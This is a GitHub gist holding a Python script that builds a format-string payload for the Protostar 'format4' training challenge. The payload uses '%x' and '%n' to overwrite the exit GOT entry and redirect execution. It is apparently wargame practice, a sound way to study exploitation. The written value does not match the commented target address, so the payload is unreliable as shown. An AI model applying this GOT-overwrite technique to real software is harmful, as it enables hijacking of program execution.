Skip to content

Instantly share code, notes, and snippets.

@TheRealJunior
Created September 9, 2018 15:15
Show Gist options
  • Save TheRealJunior/a4a969fa0696fa4f5f266014a4379b63 to your computer and use it in GitHub Desktop.
Save TheRealJunior/a4a969fa0696fa4f5f266014a4379b63 to your computer and use it in GitHub Desktop.
import subprocess
# hello function 080484b4
# vuln function 080484d2
# printf address 0804971c
# exit address 08049724
orig_leak_ptr = '%x %x %x %x %x %x'
leak_ptr = '%x %x %x %0*x %n'
write_to_address = '\x24\x97\x04\x08' # where should we write
value_to_write = '\x91\x84\x04\x08' # what should we write
padding = '\x55\x55\x55\x55'
input = value_to_write + padding + write_to_address + leak_ptr
with open('/tmp/format4','wb') as f:
f.write(input)
# /opt/protostar/bin/format4 < /tmp/format4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment